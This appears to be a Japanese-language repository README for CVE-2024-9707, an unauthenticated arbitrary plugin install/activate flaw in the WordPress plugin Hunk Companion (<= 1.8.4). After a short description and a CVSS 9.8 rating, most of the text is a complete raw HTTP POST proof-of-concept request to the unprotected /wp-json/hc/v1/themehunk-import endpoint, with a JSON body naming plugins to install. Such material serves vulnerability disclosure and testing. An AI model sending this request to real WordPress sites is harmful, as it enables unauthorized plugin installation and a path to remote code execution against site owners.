randomrobbiebf/cve-2024-9707Hunk Companion <= 1.8.4 - 認可の欠如による未認証の任意プラグインのインストール/有効化
Hunk Companion <= 1.8.4 - 認可欠如による未認証の任意プラグインのインストール/有効化
WordPress 用プラグイン Hunk Companion は、バージョン 1.8.4 までの全バージョンにおいて、/wp-json/hc/v1/themehunk-import REST API エンドポイントに権限チェックが欠如しているため、認可されていないプラグインのインストール/有効化に対して脆弱です。これにより、未認証の攻撃者が任意のプラグインをインストールおよび有効化できる可能性があり、別の脆弱性のあるプラグインがインストールおよび有効化されている場合には、リモートコード実行を達成するために悪用される可能性があります。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Rating: Critical
CVVS score: 9.8
POST /wp-json/hc/v1/themehunk-import HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/themes.php?page=themehunk-site-library&template=step
Content-Type: application/json
Content-Length: 2942
Origin: http://kubernetes.docker.internal
Connection: keep-alive
{
"params": {
"templateType": "free",
"plugin": {
"lead-form-builder": "Lead Form Builder",
"woocommerce": "Woocommerce"
},
"allPlugins": [
{
"woocommerce": "woocommerce/woocommerce.php",
"unlimited-blocks": "unlimited-blocks/unlimited-blocks.php",
"elementor": "elementor/elementor.php",
"pagelayer": "pagelayer/pagelayer.php",
"brizy": "brizy/brizy.php",
"megamenu": "megamenu/megamenu.php",
"wc-multivendor-membership": "wc-multivendor-membership/wc-multivendor-membership.php",
"wc-multivendor-marketplace": "wc-multivendor-marketplace/wc-multivendor-marketplace.php",
"wc-frontend-manager": "wc-frontend-manager/wc_frontend_manager.php",
"getwid": "getwid/getwid.php",
"th-advance-product-search": "th-advance-product-search/th-advance-product-search.php",
"th-all-in-one-woo-cart": "th-all-in-one-woo-cart/th-all-in-one-woo-cart.php",
"th-product-compare": "th-product-compare/th-product-compare.php",
"beaver-builder-lite-version": "beaver-builder-lite-version/fl-builder.php",
"contact-form-7": "contact-form-7/wp-contact-form-7.php",
"lead-form-builder": "lead-form-builder/lead-form-builder.php",
"wp-popup-builder": "wp-popup-builder/wp-popup-builder.php",
"motopress-hotel-booking-lite": "motopress-hotel-booking-lite/motopress-hotel-booking.php",
"real-estate-listing-realtyna-wpl": "real-estate-listing-realtyna-wpl/WPL.php",
"bmi-calculator-shortcode": "bmi-calculator-shortcode/bmi-calculator-shortcode.php",
"yith-woocommerce-wishlist": "yith-woocommerce-wishlist/init.php",
"yith-woocommerce-compare": "yith-woocommerce-compare/init.php",
"give": "give/give.php",
"restaurant-cafe-addon-for-elementor": "restaurant-cafe-addon-for-elementor/restaurant-cafe-addon-for-elementor.php",
"dokan-lite": "dokan-lite/dokan.php",
"easy-appointments": "easy-appointments/main.php",
"woocommerce-conversion-tracking": "woocommerce-conversion-tracking/conversion-tracking.php",
"mage-eventpress": "mage-eventpress/woocommerce-event-press.php",
"dc-woocommerce-multi-vendor": "dc-woocommerce-multi-vendor/dc_product_vendor.php",
"affiliate-coupons": "affiliate-coupons/affiliate-coupons.php",
"wemail": "wemail/wemail.php",
"charitable": "charitable/charitable.php",
"rencontre": "rencontre/rencontre.php",
"easy-property-listings": "easy-property-listings/easy-property-listings.php",
"ecalypse-rental-starter": "ecalypse-rental-starter/ecalypse-rental-starter.php",
"cryptocurrency-price-ticker-widget": "cryptocurrency-price-ticker-widget/cryptocurrency-price-ticker-widget.php",
"animentor-lottie-bodymovin-elementor": "animentor-lottie-bodymovin-elementor/animentor-lottie-bodymovin-elementor.php",
"tickera-event-ticketing-system": "tickera-event-ticketing-system/tickera.php",
"ymm-search": "ymm-search/ymm-search.php",
"themehunk-customizer": "themehunk-customizer/themehunk-customizer.php",
"hunk-companion": "hunk-companion/hunk-companion.php"
}
],
"builder": "gogo",
"themeSlug": "gogo",
"proThemePlugin": "hunk-companion",
"tmplFreePro": "plugin",
"wpUrl": "https://downloads.wordpress.org/",
"thUrl": "https://themehunk.com/wp/data/"
}
}